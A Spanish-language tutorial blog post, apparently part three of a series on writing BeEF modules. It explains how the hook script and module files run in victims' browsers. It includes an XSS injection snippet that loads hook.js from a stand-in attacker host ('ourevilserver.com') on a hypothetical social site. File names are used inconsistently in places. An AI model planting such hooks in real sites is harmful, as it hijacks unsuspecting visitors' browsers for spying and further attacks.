La última entrada culminamos la redacción con nuestra primera intrusión usando BeEF como nuestro medio de interacción atacante víctima, de modo que en esta ocasión hablaremos de la estructura que un módulo debe cumplir. ya que esta serie de post planean dar una explicación bien fundamentada sobre el desarrollo de módulos, en esta tercera parte hablaremos del JS que BeEF ejecuta en las víctimas, el código que el webservice corre, el archivo de configuración del módulo y un poco mas...
Así que pongámonos en materia ;)
Así que pongámonos en materia ;)
Digamos que hemos logrado comprometer el dominio facebuk.com (popular red social hipotética) mediante un XSS persistente dentro de los post que los usuarios comparten entre ellos dentro de dicha red social. Para que nuestra navaja suiza pueda comenzar a operar en los navegadores de los usuarios que visualizan dicho post necesitaríamos cargar el archivo que contiene la configuración necesarias para comunicarse con en servicio web de BeEF (webservice), dicho archivo lleva el nombre hooks.js, de forma que nuestro XSS luciría algo como:
<script>
var commandModuleStr = '<script src="http://ourevilserver.com:3000/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
Una vez que el usuario ejecute las lineas anteriores el proceso de infección se dará por iniciado.
Cabe mencionar que el hooker juega un papel crucial durante todo el proceso, entre las tareas de las que se encarga encontramos:
- Establece una conexión persistente con el webservice; el cual a su vez es utilizado como intermediario entre las víctimas y la interface gráfica de BeEF.
- Delega un identificador para la sesión, de esta forma el web service es capaz de saber a que víctima debe mandar un comando y el medio que debe utilizar.
- Identifica si la víctima nos visita desde un dispositivo móvil, tablet, SmartPhone, etc.. esto es importante ya que al ser Javascript un lenguaje poco estandarizado, podemos encontrar funciones muy particulares en ciertos navegadores, tal es el caso de la interface de depuración console.log. Aún cuando Firefox y Chrome poseen soporte para dicha interface IE 8 no.
- Contiene algunas librerías JS importantes como jQuery, JavaDeployment, css history knocker, etc..
- Forkea una instancia de jQuery con el alias $j, esto con la finalidad de no conflictuar alguna versión de esta popular librería que pueda estar siendo utilizada por el sitio comprometido.
- Entre muchas mas..
Una vez que el hooker recolectar la información del medio ambiente local se comunica con el webservice para reportarse como vivo, posteriormente por cada 5 segundos transcurridos volverá a preguntarle si existe alguna nueva instrucción a ejecutar.
Pero expliquemos lo anterior mas a detalle ; Supongamos que nos encontramos en el Panel de administración de zombies de BeEF, y que deseamos lanzar al módulo spyder_eye contra un blanco que hemos seleccionado, esto con la finalidad de tomar una imagen de la página infectada en el momento que se ejecuta el comando, lo que ocurrirá entonces será que dicha instrucción será encolada para ser lanzada la próxima vez que hooker.js sea solicitado desde la víctima. Mientras tanto en el servidor, lo que ocurrirá será que una vez el manejador de comandos persiva la petición de lanzar el módulo pondrá al archivo beef/modules/browsers/spyder_eye/module.rb a ejecutar, existen 3 métodos que serán tomados en cuenta para lograr dicha tarea.
- self.options: El cual especifica las opciones de configuración que el atacante puede utilizar durante la configuración del modulo desde la interface gráfica antes de ser lanzado el comando. una vez configurado y lanzado el comando, la información será mantenida en variables de instancia. sin embargo para nuestro caso El módulo spyder_eye no posee configuración alguna por parte del atacante, de modo que en esta ocasión no será necesario configurarlo.
- pre_send: es el método llamado antes de enviar el comando a la víctima, este momento es ideal para configurar la información necesaria para que el cliente reciba las instrucciones de forma correcta, este es un momento ideal para declarar recursos disponibles a ser utilizados por nuestro código malicioso JS como lo son imágenes, scripts, xml, etc..
- post_execute: método llamado después de la ejecución de un comando, este podría ser un buen momento para liberar recursos.
como ya se habrán imaginado, existe un paso intermedio entre la llamada al método pre_send y post_execute, dicho instante es cuando el archivo beef/modules/browsers/spyder_eye/command.js es servidor a la víctima contra la que se lanzará el ataque, de este modo el archivo hooker.js recibirá el contenido del archivo command.js y se encargará de ejecutar el contenido encapsulado por las lineas
beef.execute(function() {
/**** content here! ****/
FYI: para el módulo spyder_eye este es el momento en el que se toma la imagen de la víctima y se envia la información a BeEF para ser mostrada.})
Finalmente si la función post_execute ha sido implementada dentro de module.rb será llamada para finalizar la tarea y cerrar el ciclo de ejecución del comando.
En esta entrada hemos dado un paseo por el flujo de los datos durante el proceso de infección de una víctima mediante el uso de BeEF, hemos hecho especial hincapié en los archivos que son llamados cuando un módulo se carga para ser ejecutado en una víctima, hemos mencionado los métodos que un archivo archivo command.rb puede contener. utilizando el módulo spyder_eye para ejemplificar. en la próxima entrada pondremos en práctica lo aprendido hasta el momento y crearemos un pequeño módulo desde cero B).
saludos!
